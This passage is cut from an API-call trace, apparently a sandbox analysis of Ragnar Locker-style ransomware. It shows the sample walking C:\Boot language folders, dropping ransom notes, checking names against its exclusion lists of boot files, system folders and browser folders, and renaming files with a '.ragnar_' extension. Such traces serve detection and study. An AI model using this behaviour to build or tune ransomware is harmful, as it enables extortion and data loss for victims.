ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e71c8a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e71c8a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12a8 [0047.331] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e71c8a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e71c8a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.332] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.332] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\fr-FR\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\fr-FR\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.332] lstrcpyW (in: lpString1=0x1ecb94, lpString2="bootmgr.exe.mui" | out: lpString1="bootmgr.exe.mui") returned="bootmgr.exe.mui" [0047.332] PathFindExtensionW (pszPath="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned=".mui" [0047.332] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0047.332] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="autorun.inf") returned 1 [0047.332] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0047.332] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootfont.bin") returned 1 [0047.332] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootsect.bak") returned -1 [0047.332] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr") returned 1 [0047.332] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr.efi") returned 1 [0047.332] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgfw.efi") returned 1 [0047.332] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0047.332] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="iconcache.db") returned -1 [0047.332] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntldr") returned -1 [0047.332] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0047.332] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat.log") returned -1 [0047.332] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.ini") returned -1 [0047.332] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="thumbs.db") returned -1 [0047.332] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0047.332] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0047.332] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0047.332] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0047.332] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0047.332] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0047.332] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0047.332] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui")) returned 0x20 [0047.332] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0047.333] CloseHandle (hObject=0xffffffff) returned 0 [0047.333] lstrcpyW (in: lpString1=0x1ec090, lpString2="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" | out: lpString1="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" [0047.333] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui.ragnar_FD7BD9FC" [0047.333] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), lpNewFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui.ragnar_FD7BD9FC" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0047.333] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e71c8a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e71c8a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.333] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\fr-FR\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\fr-FR\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.333] lstrcpyW (in: lpString1=0x1ecb94, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0047.333] PathFindExtensionW (pszPath="\\\\?\\C:\\Boot\\fr-FR\\RGNR_FD7BD9FC.txt") returned=".txt" [0047.333] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0047.333] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e71c8a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e71c8a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0047.333] FindClose (in: hFindFile=0x5a12a8 | out: hFindFile=0x5a12a8) returned 1 [0047.333] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0047.333] lstrcmpiW (lpString1="hu-HU", lpString2=".") returned 1 [0047.333] lstrcmpiW (lpString1="hu-HU", lpString2="..") returned 1 [0047.333] lstrcmpiW (lpString1="hu-HU", lpString2="Windows") returned -1 [0047.333] lstrcmpiW (lpString1="hu-HU", lpString2="Windows.old") returned -1 [0047.333] lstrcmpiW (lpString1="hu-HU", lpString2="Tor browser") returned -1 [0047.333] lstrcmpiW (lpString1="hu-HU", lpString2="Internet Explorer") returned -1 [0047.333] lstrcmpiW (lpString1="hu-HU", lpString2="Google") returned 1 [0047.333] lstrcmpiW (lpString1="hu-HU", lpString2="Opera") returned -1 [0047.333] lstrcmpiW (lpString1="hu-HU", lpString2="Opera Software") returned -1 [0047.333] lstrcmpiW (lpString1="hu-HU", lpString2="Mozilla") returned -1 [0047.333] lstrcmpiW (lpString1="hu-HU", lpString2="Mozilla Firefox") returned -1 [0047.333] lstrcmpiW (lpString1="hu-HU", lpString2="$Recycle.Bin") returned 1 [0047.333] lstrcmpiW (lpString1="hu-HU", lpString2="ProgramData") returned -1 [0047.333] lstrcmpiW (lpString1="hu-HU", lpString2="All Users") returned 1 [0047.333] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\*.*", nBufferLength=0x104, lpBuffer=0x1ed648, lpFilePart=0x1edaf4 | out: lpBuffer="\\\\?\\C:\\Boot\\*.*", lpFilePart=0x1edaf4*="*.*") returned 0xf [0047.333] lstrcpyW (in: lpString1=0x1ed660, lpString2="hu-HU" | out: lpString1="hu-HU") returned="hu-HU" [0047.333] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\hu-HU", lpString2="\\" | out: lpString1="\\\\?\\C:\\Boot\\hu-HU\\") returned="\\\\?\\C:\\Boot\\hu-HU\\" [0047.334] lstrcpyW (in: lpString1=0x1ed43c, lpString2="\\\\?\\C:\\Boot\\hu-HU\\" | out: lpString1="\\\\?\\C:\\Boot\\hu-HU\\") returned="\\\\?\\C:\\Boot\\hu-HU\\" [0047.334] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\hu-HU\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Boot\\hu-HU\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Boot\\hu-HU\\RGNR_FD7BD9FC.txt" [0047.334] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Boot\\hu-HU\\RGNR_FD7BD9FC.txt" (normalized: "c:\\boot\\hu-hu\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0047.335] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\hu-HU\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Boot\\hu-HU\\*.*") returned="\\\\?\\C:\\Boot\\hu-HU\\*.*" [0047.335] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\hu-HU\\*.*", nBufferLength=0x104, lpBuffer=0x1ec75c, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\hu-HU\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.335] lstrcpyW (in: lpString1=0x1ec554, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.335] lstrcpyW (in: lpString1=0x1ec780, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.335] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\hu-HU\\*.*", lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e742a00, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e742a00, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12a8 [0047.336] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0047.336] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e742a00, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e742a00, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.336] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0047.336] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0047.336] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.336] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0047.336] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0047.336] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e742a00, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e742a00, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.336] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0047.336] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0047.336] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e742a00, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e742a00, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0047.336] FindClose (in: hFindFile=0x5a12a8 | out: hFindFile=0x5a12a8) returned 1 [0047.336] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\hu-HU\\*.*", lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e742a00, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e742a00, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12a8 [0047.336] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e742a00, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e742a00, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.336] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.336] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\hu-HU\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\hu-HU\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.336] lstrcpyW (in: lpString1=0x1ecb94, lpString2="bootmgr.exe.mui" | out: lpString1="bootmgr.exe.mui") returned="bootmgr.exe.mui" [0047.336] PathFindExtensionW (pszPath="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned=".mui" [0047.336] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0047.336] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="autorun.inf") returned 1 [0047.336] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0047.336] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootfont.bin") returned 1 [0047.336] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootsect.bak") returned -1 [0047.337] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr") returned 1 [0047.337] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr.efi") returned 1 [0047.337] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgfw.efi") returned 1 [0047.337] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0047.337] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="iconcache.db") returned -1 [0047.337] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntldr") returned -1 [0047.337] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0047.337] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat.log") returned -1 [0047.337] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.ini") returned -1 [0047.337] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="thumbs.db") returned -1 [0047.337] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0047.337] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0047.337] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0047.337] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0047.337] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0047.337] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0047.337] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0047.337] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui")) returned 0x20 [0047.337] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0047.337] CloseHandle (hObject=0xffffffff) returned 0 [0047.337] lstrcpyW (in: lpString1=0x1ec090, lpString2="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" | out: lpString1="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" [0047.337] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui.ragnar_FD7BD9FC" [0047.337] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), lpNewFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui.ragnar_FD7BD9FC" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0047.337] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e742a00, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e742a00, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.337] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\hu-HU\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\hu-HU\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.338] lstrcpyW (in: lpString1=0x1ecb94, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0047.338] PathFindExtensionW (pszPath="\\\\?\\C:\\Boot\\hu-HU\\RGNR_FD7BD9FC.txt") returned=".txt" [0047.338] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0047.338] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e742a00, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e742a00, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0047.338] FindClose (in: hFindFile=0x5a12a8 | out: hFindFile=0x5a12a8) returned 1 [0047.338] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0047.338] lstrcmpiW (lpString1="it-IT", lpString2=".") returned 1 [0047.338] lstrcmpiW (lpString1="it-IT", lpString2="..") returned 1 [0047.338] lstrcmpiW (lpString1="it-IT", lpString2="Windows") returned -1 [0047.338] lstrcmpiW (lpString1="it-IT", lpString2="Windows.old") returned -1 [0047.338] lstrcmpiW (lpString1="it-IT", lpString2="Tor browser") returned -1 [0047.338] lstrcmpiW (lpString1="it-IT", lpString2="Internet Explorer") returned 1 [0047.338] lstrcmpiW (lpString1="it-IT", lpString2="Google") returned 1 [0047.338] lstrcmpiW (lpString1="it-IT", lpString2="Opera") returned -1 [0047.338] lstrcmpiW (lpString1="it-IT", lpString2="Opera Software") returned -1 [0047.338] lstrcmpiW (lpString1="it-IT", lpString2="Mozilla") returned -1 [0047.338] lstrcmpiW (lpString1="it-IT", lpString2="Mozilla Firefox") returned -1 [0047.338] lstrcmpiW (lpString1="it-IT", lpString2="$Recycle.Bin") returned 1 [0047.338] lstrcmpiW (lpString1="it-IT", lpString2="ProgramData") returned -1 [0047.338] lstrcmpiW (lpString1="it-IT", lpString2="All Users") returned 1 [0047.338] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\*.*", nBufferLength=0x104, lpBuffer=0x1ed648, lpFilePart=0x1edaf4 | out: lpBuffer="\\\\?\\C:\\Boot\\*.*", lpFilePart=0x1edaf4*="*.*") returned 0xf [0047.338] lstrcpyW (in: lpString1=0x1ed660, lpString2="it-IT" | out: lpString1="it-IT") returned="it-IT" [0047.338] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\it-IT", lpString2="\\" | out: lpString1="\\\\?\\C:\\Boot\\it-IT\\") returned="\\\\?\\C:\\Boot\\it-IT\\" [0047.338] lstrcpyW (in: lpString1=0x1ed43c, lpString2="\\\\?\\C:\\Boot\\it-IT\\" | out: lpString1="\\\\?\\C:\\Boot\\it-IT\\") returned="\\\\?\\C:\\Boot\\it-IT\\" [0047.338] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\it-IT\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Boot\\it-IT\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Boot\\it-IT\\RGNR_FD7BD9FC.txt" [0047.338] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Boot\\it-IT\\RGNR_FD7BD9FC.txt" (normalized: "c:\\boot\\it-it\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0047.364] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\it-IT\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Boot\\it-IT\\*.*") returned="\\\\?\\C:\\Boot\\it-IT\\*.*" [0047.364] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\it-IT\\*.*", nBufferLength=0x104, lpBuffer=0x1ec75c, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\it-IT\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.364] lstrcpyW (in: lpString1=0x1ec554, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.364] lstrcpyW (in: lpString1=0x1ec780, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.364] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\it-IT\\*.*", lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e78ecc0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e78ecc0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12a8 [0047.364] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0047.364] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e78ecc0, 